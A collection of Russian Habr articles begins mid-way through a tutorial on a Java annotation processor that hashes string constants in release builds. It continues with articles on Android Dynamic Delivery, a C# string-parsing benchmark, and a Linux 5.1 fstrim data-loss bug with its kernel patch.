str.append(String.format("%02X", val & 0xFF));
}
value = str.toString();
lit = maker.Literal(value);
var.init = lit;
} catch (NoSuchAlgorithmException e) {
//ошибка компиляции: неверный алгоритм хеширования
} catch (UnsupportedEncodingException e) {
//ошибка компиляции: такое вообще возможно??
}
}else{
//Ошибка компиляции: неверное применение аннотации.
}
}
}
}
}
```
В методе мы бежим по списку аннотаций (мы ведь помним, что в общем случае процессор обрабатывает больше чем одну аннотацию?), для каждой аннотации выбираем список элементов. После этого начинается магия. Мы используем инструменты из поставки *com.sun.tools.javac* чтоб преобразовать элементы в дерево исходного кода, у которого огромное число возможностей и по традиции полное отсутствие русскоязычной документации. Поэтому прошу не удивляться, что код работы с этим деревом далёк от идеала.
Когда мы получили объявление переменной в виде дерева *JCTree.JCVariableDecl var* — мы можем убедиться, что это именно строковая переменная. В моём случае данная проверка осуществляется костылём:
```
if (!"String".equals(var.vartype.toString())){
//Ошибка компиляции: аннотация применима только к строкам.
continue;
}
```
vartype — тип поля, который наверняка можно сравнить с какой-нибудь константой или определить его принадлежность определённому классу, но, как я уже говорил, документации нет, а быстрая проверка показала, что приведение к строке даёт нам имя типа.
Второй интересный момент — мы можем обработать только строки, аналогичные примеру из самого начала статьи. Всё дело в том, что на данном этапе мы работаем именно с исходным текстом. По этому если переменная инициализируется в конструкторе, то *JCTree.JCExpression initializer = var.getInitializer();* вернёт нам *null*. Не менее неприятная ситуация получится если мы попытаемся обработать конструкции вида:
```
public String demo1 = new String("habrahabr");
public String demo2 = "habra"+"habr";
public String demo3 = "" + 1;
```
Для этого вводится вторая проверка *(initializer instanceof JCTree.JCLiteral)*. Это отсечёт все описанные примеры, поскольку они являются не литералами в чистом виде и в дереве будут представлены выражением из нескольких элементов.
Дальнейший код очевиден. Берём строку, хешируем, заменяем, радуемся? Нет.
Комментариями отмечено несколько мест, в которых возникают очевидные ошибки. И в нашем случае их игнорирование не является корректным поведением. Для того чтобы сообщить пользователю об ошибке нам потребуется объект *javax.annotation.processing.Messager*. Он позволяет выбросить предупреждение, ошибку компиляции или просто информационное сообщение. Например, мы можем сообщить о недопустимом алгоритме хеширования:
```
catch (NoSuchAlgorithmException e) {
javacProcessingEnv.getMessager().printMessage(Diagnostic.Kind.ERROR,
String.format("Unsupported digest method %s", hashed.method()),
field);
}
```
При этом надо понимать, что выброс сообщения об ошибке не прерывает выполнение метода. Компилятор дождётся как минимум окончания нашего метода, прежде чем прервать процесс компиляции. Это позволяет выбросить сразу все ошибки применения аннотаций пользователю. Третий аргумент метода *printMessage* позволяет нам указать объект, на котором мы споткнулись. Он не является обязательным, но сильно облегчает жизнь.
##### Подключение процессора аннотаций
Осталось сообщить компилятору, что мы такие есть и готовы принять аннотации на растерзание. Во многих статьях встречаются инструкции, как добавить свой процессор в <имя среды разработки>. Видимо корнями это уходит в далёкие времена, когда подобные вещи делались на коленках народными умельцами. Однако уже достаточно давно механизм обработки аннотаций является частью javac и, по сути, наш класс обработчик является плагином для javac. Это значит, что мы вполне стандартными средствами можем подключить нашу аннотацию к любой среде без шаманств с настройками.
Нам потребуется создать в каталоге **META-INF** подкаталог **services**, а в нём файл **javax.annotation.processing.Processor**. В сам файл нам необходимо поместить список наших классов процессоров. В конкретном случае **com.example.annotation.HashedAnnotationProcessor**. И всё. Теперь мы собираем нашу библиотеку содержащую аннотацию и её процессор. Подключаем эту библиотеку к проекту. И всё работает.
При этом ни сама библиотека, ни остатки аннотаций не попадут в скомпилированный код.
##### Использование
Аннотация готова. Строки хешируются. Вот только задача всё ещё не решена.
Если мы подключим аннотацию к проекту в таком виде — у нас строки будут хешироваться всегда. А нам надо только в релизе.
В Java понятие отладочной и релизной сборки очень условно и зависит от представлений пользователя. Поэтому добиваемся того, чтоб задача **assembleDebug** для Android проекта строки не хешировала, а во всех остальных случаях от строк оставались MD5 хеши.
Для решения этой задачи мы передадим нашему процессору аннотаций дополнительный параметр.
Сначала доработаем процессор:
```
@SupportedOptions({"Hashed"})
public class HashedAnnotationProcessor extends AbstractProcessor {
private boolean enable = true;
@Override
public void init(ProcessingEnvironment procEnv) {
//Добавленный код
java.util.Map opt = javacProcessingEnv.getOptions();
if (opt.containsKey(ENABLE\_OPTIONS\_NAME) && opt.get(ENABLE\_OPTIONS\_NAME).equals("disable")){
enable = false;
}
}
@Override
public boolean process(Set extends TypeElement annotations, RoundEnvironment roundEnv) {
if (!enable){
javacProcessingEnv.getMessager().printMessage(Diagnostic.Kind.NOTE,
"Annotation Hashed is disable");
return false;
}
//...
}
}
```
Мы объявили, что ожидаем опцию «Hashed» и если она «disable», то ничего не делаем и выводим информацию пользователю. Сообщения типа Diagnostic.Kind.NOTE являются информационными и при настройках по умолчанию многие среды разработки эти сообщения вообще не покажут.
При этом мы сообщаем компилятору, что обрабатывать аннотацию не стали. Если в системе есть ещё процессоры, которые обрабатывают аннотации такого типа, или вообще не разбирают тип — они могут получить нашу аннотацию. Правда, я совершенно ничего не могу сказать о том, в каком порядке компилятор будет пытаться распорядиться аннотацией. Пока у нас только наша библиотека и ровно одна аннотация — это не актуально, но при использовании нескольких библиотек аннотаций будьте готовы к всплытию подводных камней.
Осталось передать эту опцию компилятору. Опции для процессоров передаются компилятору ключом "-A". В нашем случае "-AHashed=disable".
Остаётся только застваить Gradle передать эту опцию в нужный момент. И снова костыли:
```
tasks.withType(JavaCompile) {
if (name == "compileDebug"){
options.compilerArgs << "-AHashed=disable"
}
}
```
Это для текущей версии Android Studio. Для более ранних tasks.withType(Compile).
Костыль, потому что данный блок вызывается для каждого типа сборки независимо от задачи. По идее должно быть что-то аналогичное buildTypes из блока android, но у меня уже не было никаких сил искать красивое решение. Все ведь уже догадались, что документации на русском традиционно нет?
В коде аннотации могут выглядеть так:
```
@Hashed
public static final String demo1 = "habr";
@Hashed (method="SHA-1")
public static final String demo2 = "habrahabr";
@Hashed(method="SHA-256")
public static final String demo3 = "habracadabra";
```
Метод может быть любым из поддерживаемых **MessageDigest**.
##### Итог
Задача решена. Конечно же, только для одного очень конкретного способа объявления констант, конечно, не самым эффективным способом, а у многих и сама постановка задачи вызовет больше вопросов, чем материал статьи. А я просто надеюсь, что кто-нибудь потратит меньше времени и нервов, если на его пути встретится похожая задача.
Но ещё больше я надеюсь, что кто-нибудь заинтересуется данной темой и хабр увидит статьи, в которых будет рассказано, почему вся эта магия работает.
И, конечно же, обещанный код: [GitHub::DemoAnnotation](https://github.com/MadHacker666/DemoAnnotation) | https://habr.com/ru/post/200878/ | null | ru | null |
# Dynamic Delivery в многомодульных проектах (часть 1)
Привет! Меня зовут Юрий Влад, я Android-разработчик в компании Badoo и занимаюсь внедрением Dynamic Features в наши проекты.
[Dynamic Delivery](https://developer.android.com/studio/projects/dynamic-delivery) — технология, позволяющая устанавливать и удалять части приложения прямо во время работы для того, чтобы уменьшить место, занимаемое приложением. Если какие-то функции не используются, то зачем пользователю иметь их на устройстве?
В первой части статьи я подробнее расскажу о Dynamic Delivery и его API: как загружать и удалять модули. Во второй части — разберу на примере, как я использовал Dynamic Delivery в нашем приложении и получил экономию на размере приложения в полмегабайта.
Модули для Dynamic Delivery
---------------------------
К функциям, которые не нужны пользователю постоянно и которые могут быть удалены, можно отнести:
1. Функции под А/B-тестами и пользовательскими группами. Некоторые функции могут быть доступны только в определённых регионах, и без Dynamic Delivery они лежат мёртвым грузом в устройствах всех остальных пользователей.
2. Специфичные функции, которые нужны не всем пользователям. Классический пример — модуль с камерой и распознаванием номера банковской карты.
3. Функции, которые перестают быть доступны после каких-то действий пользователя. Например, это могут быть экраны регистрации, которые можно удалить после регистрации и установить заново, если пользователь решит зарегистрировать другой аккаунт.
Такие функции можно легко вынести в отдельные загружаемые модули, чтобы уменьшить место, занимаемое приложением. Если такой модуль устанавливается не во время установки приложения, то отображаемый вес приложения в Google Play будет уменьшен на вес этого модуля. Меньше размер приложения — больше конверсия установок. Также важно удалять неиспользуемые модули, чтобы ваше приложение занимало меньше места. Когда место на устройстве заканчивается, Google Play предлагает удалить часть приложений, сортируя их в том числе по объёму занимаемого места. И очень не хочется оказаться в самом начале этого списка.
Модули с перечисленными выше функциями могут содержать в себе код и любые типы ресурсов. После установки классы будут загружены в `ClassLoader` и их можно будет использовать. К ресурсам можно будет обращаться из установленного модуля. Но есть одно но...
Dynamic Feature Module
----------------------
Работать с загруженным кодом можно только через рефлексию. Таким образом обеспечивается безопасность использования динамически загружаемых модулей. Ведь если бы загружаемый модуль был подключён зависимостью `compileOnly`, то в ситуации, когда этот модуль не установлен, мы получали бы [ClassNotFoundException](https://docs.oracle.com/javase/8/docs/api/java/lang/ClassNotFoundException.html) при попытке использования классов этого модуля. Рефлексия в этом случае позволяет нам:
1. Более безопасно обрабатывать ситуации, когда требуемые классы не найдены в рантайме.
2. Избегать ситуаций, когда мы случайно используем классы из Dynamic Feature Module, не проверив их наличие в `ClassLoader`.
С точки зрения структуры модулей в Gradle это выглядит так:
*Источник картинки: [Patterns for accessing code from Dynamic Feature Modules](https://medium.com/androiddevelopers/patterns-for-accessing-code-from-dynamic-feature-modules-7e5dca6f9123), рекомендую к прочтению*
Модули в первом ряду (`:about` и другие) — Dynamic Feature Modules. Они зависят от основного модуля приложения и могут легко использовать его код и ресурсы. Во втором ряду — модуль приложения, а в третьем — его зависимости.
Кажется, что такое требование использовать рефлексию сводит на нет все преимущества технологии, но я покажу, как при нашем многомодульном подходе можно свести всю рефлексию к двум-трём вызовам.
SplitInstallManager
-------------------
Для начала разберёмся, как устанавливать и удалять модули. Для этого используется [SplitInstallManager](https://developer.android.com/reference/com/google/android/play/core/splitinstall/SplitInstallManager), который является частью библиотеки `com.google.android.play:core`. Возможно, вы с ней уже знакомы по [In-app Updates](https://developer.android.com/guide/app-bundle/in-app-updates) и [MissingSplitsManager](https://developer.android.com/guide/app-bundle/sideload-check).
Схема работы с модулями следующая:
1. Проверить через [SplitInstallManager.installedModules](https://developer.android.com/reference/com/google/android/play/core/splitinstall/SplitInstallManager#getinstalledmodules), не установлен ли у нас уже модуль.
2. Если модуль не установлен, запросить установку с помощью [SplitInstallRequest](https://developer.android.com/reference/com/google/android/play/core/splitinstall/SplitInstallRequest), указав его название.
3. Следить за прогрессом установки, показать юзеру модный UI загрузки, если он ждёт.
4. Если модуль успешно установлен, начать использовать его через рефлексию, если произошла ошибка — показать её.
Всё довольно просто и очевидно, за исключением не очень удобного API, который я покажу на примере кода с [android.developers.com](https://developer.android.com/guide/app-bundle/playcore).
### Проверка факта установки модуля
```
splitInstallManager.installedModules.contains("module name")
```
### Запрос установки
```
val request =
SplitInstallRequest
.newBuilder()
.addModule("module name")
.build()
splitInstallManager
.startInstall(request)
.addOnSuccessListener { sessionId -> ... }
.addOnFailureListener { exception -> ... }
```
`splitInstallManager.startInstall` вернёт `Task`, но не из пакета `com.google.android.gms:play-services-tasks`, к которому у вас, скорее всего, уже написаны Kotlin Extensions, а свой собственный. API у них совпадают полностью, но вот package name — разные. В `addOnSuccessListener` вернётся идентификатор сессии установки. Причём он возвращается один и тот же, если запрашивать установку несколько раз подряд, так что не бойтесь этого делать. Единственное ограничение: если вы указываете загрузку нескольких модулей за раз через `SplitInstallRequest.addModule(...).addModule(...)`, то при попытке ещё раз запросить установку только одного из них вы получите ошибку `INCOMPATIBLE_WITH_EXISTING_SESSION`. Если произошла ошибка до получения сессии или во время установки, вы получите ошибку в `addOnFailureListener`.
### Прогресс установки
```
var mySessionId = 0
val listener = SplitInstallStateUpdatedListener { state ->
if (state.sessionId() == mySessionId) {
...
}
}
splitInstallManager.registerListener(listener)
...
splitInstallManager
.startInstall(request)
.addOnSuccessListener { sessionId -> mySessionId = sessionId }
...
splitInstallManager.unregisterListener(listener)
```
Обновления состояния установки будут приходить в [SplitInstallStateUpdatedListener](https://developer.android.com/reference/com/google/android/play/core/splitinstall/SplitInstallStateUpdatedListener). В него приходят обновления вообще всех сессий, а фильтровать по идентификатору сессии мы их должны сами. В [SplitInstallSessionState](https://developer.android.com/reference/com/google/android/play/core/splitinstall/SplitInstallSessionState) нам доступны:
1. Текущее состояние установки (загрузка, распаковка, установка и прочие).
2. Сколько байтов загружено и сколько осталось загрузить (эту информацию можно использовать для отображения прогресса установки).
3. Код ошибки (этот же код ошибки придёт в `addOnFailureListener`).
### Подтверждение от пользователя
Если размер модуля превышает 10 Мб, нужно запросить у пользователя подтверждение его загрузки. В `SplitInstallSessionState` вернётся особый статус `REQUIRES_USER_CONFIRMATION`. В этом состоянии установка будет находиться, пока вы не вызовете `splitInstallManager.startConfirmationDialogForResult(Activity, SplitInstallSessionState, Int)`. Этот вызов запустит через `startActivityForResult` Google Play c диалогом подтверждения установки. Если пользователь нажмёт на кнопку «Загрузить», то установка продолжится и вам ничего не потребуется обрабатывать. Если он нажмёт на кнопку «Отмена», то установка завершится со статусом `CANCELED`.
### Установка
Для поддержки в вашем приложении загрузки классов и ресурсов нужно использовать [SplitCompat](https://developer.android.com/reference/com/google/android/play/core/splitcompat/SplitCompat).
```
class YourApplication : Application() {
override fun attachBaseContext(base: Context) {
super.attachBaseContext(base)
SplitCompat.install(this)
}
}
```
```
class YourActivity : Activity() {
override fun attachBaseContext(base: Context) {
super.attachBaseContext(base)
SplitCompat.installActivity(this)
}
}
```
Версия для приложения вытащит из загруженных APK-файлов `classes.dex` и загрузит их в `ClassLoader`, а также вызовет `context.getAssets().addAssetPath(String)`, куда передаст путь до APK-файла загруженного модуля. Версия для `Activity` только добавит путь в `AssetManager`. Может показаться, что вызывать `installActivity` не обязательно, если использовать `Context` приложения, но не стоит так делать. Это может обернуться проблемами с конфигурацией `Activity`, которая не будет учитываться в этом случае.
### Отложенная установка
Можно попросить Google Play Services установить модуль когда-нибудь потом. Официальная документация описывает это «когда-нибудь потом» как «best-effort when the app is in the background». На практике же модуль загрузится, когда ваше приложение не будет запущено и когда Google Play будет устанавливать обновления вашего или других приложений.
Запросить установку в фоновом режиме очень просто:
```
splitInstallManager.deferredInstall(listOf("module name"))
```
При этом вы никак не сможете её отслеживать, так как она банально не будет выполнена, пока ваше приложение запущено.
Несмотря на это ограничение, такой подход вполне может быть полезен. Например, для функций под A/B-тестом. Если вы разместили точку входа в новый экран приложения на видном месте, то пользователь как минимум из любопытства нажмёт на неё. Тогда почему бы не запрашивать установку всех таких модулей в фоновом режиме, чтобы не заставлять пользователя ждать потом?
Соберём всё вместе
------------------
Для начала напишем функцию, которая просто проверит, установлен ли модуль `moduleName` и можно ли использовать требуемый класс `className` через рефлексию.
```
fun isInstalled(moduleName: String, className: String): Boolean {
if (splitInstallManager.installedModules.contains(moduleName)) {
return true
}
return try {
Class.forName(className, false, javaClass.classLoader)
true
} catch (ignored: ClassNotFoundException) {
false
}
}
```
В случае с нерелизными сборками вы будете получать пустой список установленных модулей. Поэтому добавим проверку на наличие класса, который мы собираемся использовать через рефлексию. Используем именно эту перегрузку `Class.forName`, чтобы не инициализировать статические поля проверяемого класса, выполняя тем самым работу, которую можно отложить на потом.
В процессе установки нам нужно обрабатывать разные состояния установки модуля. Для этого используем простой sealed class.
```
sealed class DynamicDeliveryProgress {
object Pending : DynamicDeliveryProgress()
object Installing: DynamicDeliveryProgress()
data class RequiresConfirmation(
val state: SplitInstallSessionState
) : DynamicDeliveryProgress()
data class Downloading(
val totalBytes: Long,
val currentBytes: Long
) : DynamicDeliveryProgress()
}
```
К сожалению, от использования `SplitInstallSessionState` в `RequiresConfirmation` избавиться не получится, так как он необходим для вызова `splitInstallManager.startConfirmationDialogForResult`. Хотя, казалось бы, можно обойтись просто идентификатором сессии. Надеюсь, в будущем это изменят.
Нам также понадобится функция, которая загрузит модуль и проследит за прогрессом. Мы в Badoo используем реактивный подход, поэтому будем возвращать `Observable`. Когда модуль будет установлен, завершим поток.
```
fun load(moduleName: String, className: String) : Observable =
Observable
.create { emitter ->
// Если модуль уже установлен, то завершим сразу же
if (isInstalled(moduleName, className)) {
emitter.onComplete()
return@create
}
// Идентификатор сессии установки
val sessionId = AtomicInteger()
// Создадим листенер прогресса установки и зарегистрируем его в splitInstallManager
val listener = createListener(
moduleName = moduleName,
sessionId = sessionId,
emitter = emitter
)
splitInstallManager.registerListener(listener)
emitter.setCancellable { splitInstallManager.unregisterListener(listener) }
// Создадим новый запрос на установку модуля
val request = SplitInstallRequest
.newBuilder()
.addModule(moduleName)
.build()
// startInstall возвращает Task с идентификатором установки и ошибками установки
splitInstallManager.startInstall(request)
.addOnSuccessListener {
emitter.onNext(DynamicDeliveryProgress.Pending)
sessionId.set(it)
}
.addOnFailureListener {
emitter.onError(DynamicDeliveryInstallationException(moduleName, (it as? SplitInstallException)?.errorCode))
}
}
.distinctUntilChanged()
private fun createListener(
moduleName: String,
sessionId: AtomicInteger,
emitter: ObservableEmitter
) =
SplitInstallStateUpdatedListener {
if (it.sessionId() == sessionId.get()) {
when (it.status()) {
SplitInstallSessionStatus.PENDING ->
emitter.onNext(DynamicDeliveryProgress.Pending)
SplitInstallSessionStatus.REQUIRES\_USER\_CONFIRMATION ->
// Требуется подтверждение от пользователя
emitter.onNext(DynamicDeliveryProgress.RequiresConfirmation(it))
SplitInstallSessionStatus.DOWNLOADING ->
emitter.onNext(
DynamicDeliveryProgress.Downloading(
totalBytes = it.totalBytesToDownload(),
currentBytes = it.bytesDownloaded()
)
)
SplitInstallSessionStatus.DOWNLOADED,
SplitInstallSessionStatus.INSTALLING ->
emitter.onNext(DynamicDeliveryProgress.Installing)
SplitInstallSessionStatus.INSTALLED ->
emitter.onComplete()
SplitInstallSessionStatus.CANCELED ->
emitter.onError(CancellationException())
SplitInstallSessionStatus.CANCELING,
SplitInstallSessionStatus.UNKNOWN,
SplitInstallSessionStatus.FAILED -> Unit
}
}
}
```
Со стороны UI не забудьте обработать состояние `DynamicDeliveryProgress.RequiresConfirmation`. После завершения установки необходимо снова вызвать `SplitCompat.installActivity(this)`, чтобы загрузить ресурсы из загруженных APK-файлов.
В этой реализации мы никак не обрабатываем состояние `INCOMPATIBLE_WITH_EXISTING_SESSION`, так как все модули у нас устанавливаются по одному. Однако обработать эту ошибку можно довольно просто. При её возникновении в `retryWhen` можно создать `Observable`, который:
1. Опять подпишется на обновления состояния через `splitInstallManager.registerListener`.
2. Найдёт в `splitInstallManager.getSessionStates` сессию, в которой устанавливаются запрошенные модули.
3. Дождётся завершения установки и отправит запрос на повторный вызов `load(...)`.
Заключение
----------
Технология Dynamic Delivery от Google позволяет загружать и удалять модули прямо во время работы приложения. Это отличный способ сэкономить место на устройстве: как правило, в приложении есть модули, которые используются редко; их можно подгружать в процессе работы приложения по необходимости.
Несмотря на не очень удобный API, всю работу по загрузке модулей вполне возможно скрыть за единым интерфейсом. Запрос на загрузку модулей Dynamic Delivery осуществить легко, но нужно быть внимательным при обработке её десяти различных состояний.
Есть ещё два момента, на которые стоит обратить внимание:
1. Не забудьте после установки модуля оповестить текущую Activity, чтобы она получила доступ к загруженным ресурсам.
2. Не забудьте запросить подтверждение пользователя через запуск специальной диалоговой Activity, если это необходимо.
Во [второй части](https://habr.com/ru/company/badoo/blog/489438) статьи я расскажу, как использовал Dynamic Delivery в одном из проектов Badoo. | https://habr.com/ru/post/489434/ | null | ru | null |
# Разбор полёта C# perfomance
Недавно я опубликовал [топик](http://habrahabr.ru/blogs/code_wtf/47178/)про ~~бред~~ код написанный индусом. В результате в комментариях были высказаны мнения, что это вовсе не бред, а нормальный код в С-style.
Да, спорить не буду — это C-style, но мне стало интересно — а как же производительность, что быстрее? Ибо «Практика без теории слепа, а теория без практики мертва». Поэтому утром я решил сваять маленький тестик.
Написал следующий класс:
> `1. class TestClass
> 2. {
> 3. private List<String> \_generatedDigits;
> 4.
> 5. public TestClass()
> 6. {
> 7. \_generatedDigits = new List<string>();
> 8. }
> 9.
> 10. public void GenerateList(Int32 listLength)
> 11. {
> 12. Random rnd = new Random(DateTime.Now.Millisecond);
> 13. \_generatedDigits.Clear();
> 14.
> 15. for (Int32 i = 0; i < listLength; ++i)
> 16. {
> 17. \_generatedDigits.Add(rnd.Next().ToString());
> 18. }
> 19. }
> 20.
> 21. public bool TestTryParse()
> 22. {
> 23. bool result = true;
> 24. Int32 outValue = 0;
> 25.
> 26. foreach (String str in \_generatedDigits)
> 27. {
> 28. result &= Int32.TryParse(str, out outValue);
> 29. }
> 30.
> 31. return (result);
> 32. }
> 33.
> 34. public bool TestIndusCode()
> 35. {
> 36. bool result = true;
> 37.
> 38. foreach (String str in \_generatedDigits)
> 39. {
> 40. for (int i = 0; i < str.Length; i++)
> 41. if (char.IsDigit(str[i]) == false)
> 42. result = false;
> 43. }
> 44.
> 45. return (result);
> 46. }
> 47.
> 48. public bool TestRegularExpression()
> 49. {
> 50. bool result = true;
> 51.
> 52. foreach (String str in \_generatedDigits)
> 53. {
> 54. result &= Regex.IsMatch(str, @"^\d{0,}$");
> 55. }
> 56.
> 57. return (result);
> 58. }
> 59. }
> \* This source code was highlighted with Source Code Highlighter.`
Как видно из класса, я решил проверить, а что же быстрее:
* метод TryParse — который использовал я.
* код индуса.
* либо с помощью регулярных выражений, как заметил хаброчеловек [Egiptyanin](https://geektimes.ru/users/egiptyanin/)
Быстродействие кода я замерял следующим способом:
> `1. TestClass testClass = new TestClass();
> 2.
> 3. testClass.GenerateList(10000000);
> 4.
> 5. Console.WriteLine(Environment.TickCount);
> 6. testClass.TestTryParse();
> 7. Console.WriteLine(Environment.TickCount);
> 8. testClass.TestIndusCode();
> 9. Console.WriteLine(Environment.TickCount);
> 10. testClass.TestRegularExpression();
> 11. Console.WriteLine(Environment.TickCount);
> \* This source code was highlighted with Source Code Highlighter.`
чтоже получилось в результате у меня.
| | | | |
| --- | --- | --- | --- |
| С-style | TryParse | Регулярное выражение | Число обрабатываемый элементов |
| 10 | O | 16 | 10000 |
| 15 | 32 | 203 | 100000 |
| 125 | 312 | 1656 | 1000000 |
И для большей наглядноти, построим график.
Чтож, признаюсь, немного поторопился назвать это кодобредом, истина восторжествовала :)
Спасибо хабролюдям [Egiptyanin](https://geektimes.ru/users/egiptyanin/) [beeruser](https://geektimes.ru/users/beeruser/) [lam0x86](https://geektimes.ru/users/lam0x86/) [porchini](https://geektimes.ru/users/porchini/) за обсуждение предыдущего топика :). | https://habr.com/ru/post/47228/ | null | ru | null |
# Баг в Linux 5.1 приводил к потере данных — корректирующий патч уже вышел
Пару недель назад в версии ядра Linux 5.1 обнаружили баг, который приводил к потере данных на SSD. Недавно разработчики [выпустили](http://lkml.iu.edu/hypermail/linux/kernel/1905.3/01335.html) корректирующий патч Linux 5.1.5, который залатал «брешь».
Обсуждаем, в чем была причина.
[](https://habr.com/ru/company/1cloud/blog/454978/)
*/ Unsplash / [Glen Carrie](https://unsplash.com/photos/6-XmguXtoVE/)*
Что за баг
----------
В начале года разработчики внесли ряд изменений в ядро Linux 5.1. После этого на системах с SSD от компании Samsung, которые используют шифрование dm-crypt/LUKS c device-mapper/LVM, [начала проявляться ошибка](https://www.phoronix.com/scan.php?page=news_item&px=Linux-5.1-FSTRIM-Bug), приводящая к потере данных. Но о проблеме [стало известно](https://www.redhat.com/archives/dm-devel/2019-May/msg00082.html) только в середине мая — тогда же её начали активно [обсуждать на тематических форумах](https://linustechtips.com/main/topic/1066931-linux-51-kernel-hit-by-ssd-trim-bug-which-causes-massive-data-loss/).
Известно как минимум о двух людях, столкнувшихся с багом, — это [участник](https://twitter.com/michael__lass/status/1130881332471427072) рассылки [LKML](https://en.wikipedia.org/wiki/Linux_kernel_mailing_list) Майкл Ласс (Michael Laß), который впервые [сообщил о проблеме](https://www.redhat.com/archives/dm-devel/2019-May/msg00082.html), и [пользователь](https://bbs.archlinux.org/viewtopic.php?id=246569) ArchLinux.
Майкл [запустил](https://www.mail-archive.com/linux-btrfs@vger.kernel.org/msg87788.html) команду fstrim, которая говорит накопителю, какие блоки данных больше не используются, для смонтированного тома btrfs. После он получил следующие системные сообщения:
```
attempt to access beyond end of device
sda1: rw=16387, want=252755893, limit=250067632
BTRFS warning (device dm-5): failed to trim 1 device(s), last error -5
BTRFS warning (device dm-5): csum failed root 257 ino 16634085 off 21504884736 csum 0xd47cc2a2 expected csum 0xcebd791b mirror 1
```
После этого он обнаружил, что том btrfs поврежден, а остальные логические тома на физическом устройстве уничтожены.
В случае с пользователем ArchLinux проблема коснулась криптозащиты LUKS. После перезагрузки операционной системы и выполнения fstrim заголовки LUKS (которые используются для поиска томов) оказались нечитаемыми, что не позволило расшифровать зашифрованные данные.
В чем причина
-------------
Проблема заключалась в подсистеме [device mapper](https://ru.wikipedia.org/wiki/Device_mapper) (DM), задача которой — создавать виртуальные блочные устройства. Она как раз используется для реализации менеджера логических томов LVM, программного RAID и системы шифрования дисков dm-crypt.
> *«Команда fstrim помечала слишком большое количество блоков за раз без учета предела max\_io\_len\_target\_boundary. В результате освобождались те сегменты памяти, которые до сих пор используются, — комментирует Сергей Белкин, начальник отдела развития [1cloud.ru](https://1cloud.ru/?utm_source=habrahabr&utm_medium=cpm&utm_campaign=fstrim&utm_content=site). — Поскольку ошибка была связана с device mapper, в теории потеря данных могла произойти на любой файловой системе».*
Патч
----
Патч для бага разработчики ядра выпустили в конце мая. Были [изменены](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?h=linux-5.1.y&id=871e122d55e8d1cd7c0d5dec9bdba1fe45406196) всего четыре строчки в файле drivers/md/dm.c. Соответствующие изменения также внесли в грядущее ядро Linux 5.2 (добавленные и удаленные строки отмечены знаками «+» и «-» соответственно):
```
@@ -1467,7 +1467,7 @@ static unsigned get_num_write_zeroes_bios(struct dm_target *ti)
static int __send_changing_extent_only(struct clone_info *ci, struct dm_target *ti,
unsigned num_bios)
{
- unsigned len = ci->sector_count;
+ unsigned len;
@@ -1478,6 +1478,8 @@ static int __send_changing_extent_only(struct clone_info *ci, struct dm_target *
if (!num_bios)
return -EOPNOTSUPP;
+ len = min((sector_t)ci->sector_count, max_io_len_target_boundary(ci->sector, ti));
+
__send_duplicate_bios(ci, ti, num_bios, &len);
ci->sector += len;
```
Патч уже применили разработчики дистрибутивов [ArchLinux](https://www.archlinux.org/packages/core/x86_64/linux/)/Manjaro и [Fedora](https://koji.fedoraproject.org/koji/buildinfo?buildID=1270326). Дистрибутив Ubuntu ошибка [не затронула](https://linustechtips.com/main/topic/1066931-linux-51-kernel-hit-by-ssd-trim-bug-which-causes-massive-data-loss/), так как его не переводили на версию ядра Linux 5.1.
*/ Flickr / [Andy Melton](https://www.flickr.com/photos/trekkyandy/32411334526/) / CC BY-SA*
Исключить ситуацию с потерей данных можно и не устанавливая патч. Достаточно отключить сервис fstrim.service/timer с помощью команд:
```
systemctl disable fstrim.timer
systemctl stop fstrim.timer
```
Еще вариант — переименовать исполняемый файл fstrim или убрать флаг discard при монтировании fstab. Еще можно выключить режим allow-discards в LUKS через dmsetup. Однако все эти методы **не более чем временные** и не решают сути проблемы.
Не первый раз
-------------
Это не первый случай, когда коммит в ядре Linux приводит к ситуациям с memory corruption. Похожая история [случалась](https://www.phoronix.com/scan.php?page=news_item&px=Linux-4.19-EXT4-Issue-Likely-MQ) в версии Linux 4.19 — тогда оказались виноваты планировщики ввода/вывода BLK-MQ. Проблема проявлялась при сборке ядра с опцией CONFIG\_SCSI\_MQ\_DEFAULT=y, выставляемой по умолчанию. В некоторых случаях данные тома [оказывались](https://bugzilla.kernel.org/show_bug.cgi?id=201685) повреждены.
```
sed: error while loading shared libraries: /lib/x86_64-linux-gnu/libattr.so.1: unexpected PLT reloc type 0x00000107
sed: error while loading shared libraries: /lib/x86_64-linux-gnu/libattr.so.1: unexpected PLT reloc type 0x00000107
```
Наиболее часто проблема проявлялась с EXT4, но в теории могла затрагивать и другие файловые системы.
Тогда один из мейнтейнеров ядра [подготовил небольшой фикс](https://bugzilla.kernel.org/show_bug.cgi?id=201685#c255), который решал проблему. Однако этот же самый баг позже обнаружили в билде Linux 4.20. Окончательно [избавиться](https://www.phoronix.com/scan.php?page=news_item&px=Linux-4.19-4.20-BLK-MQ-Fix) от него удалось в конце декабря 2018 с новым глобальным обновлением.
> **Наши дополнительные ресурсы и источники:**
>
>
>
>  [Резервное копирование файлов: как подстраховаться от потери данных](https://1cloud.ru/blog/rezervnoe-kopirovanie-failov?utm_source=habrahabr&utm_medium=cpm&utm_campaign=fstrim&utm_content=blog)
>
>  [Минимизация рисков: как не потерять ваши данные](https://1cloud.ru/blog/minimizazia-it-riskov?utm_source=habrahabr&utm_medium=cpm&utm_campaign=fstrim&utm_content=blog)
>
>  [Backup&Recovery: поточная и умная дедупликация, снапшоты и вторичное хранение](https://1cloud.ru/blog/backup-recovery?utm_source=habrahabr&utm_medium=cpm&utm_campaign=fstrim&utm_content=blog)
>
>  [Как сэкономить с помощью прикладного программного интерфейса](https://1cloud.ru/blog/ekonomiya-na-api?utm_source=habrahabr&utm_medium=cpm&utm_campaign=jmap&utm_content=blog)
>
>  [DevOps в облачном сервисе на примере 1cloud.ru](https://1cloud.ru/blog/devops-v-razrabotke-oblaka-1cloud?utm_source=habrahabr&utm_medium=cpm&utm_campaign=jmap&utm_content=blog)
>
>  [Эволюция архитектуры облака 1cloud](https://1cloud.ru/blog/our-system-architecture-evolution?utm_source=habrahabr&utm_medium=cpm&utm_campaign=jmap&utm_content=blog)
>
>
>
>  [Как у нас все устроено: дайджест от 1cloud](https://www.facebook.com/1cloudru/posts/2320833768239130)
>
>  [Потенциальные атаки на HTTPS и способы защиты от них](https://www.facebook.com/1cloudru/photos/a.1526614574327724/2317948435194330/) | https://habr.com/ru/post/454978/ | null | ru | null |
# Использование Java native library на серверах приложений
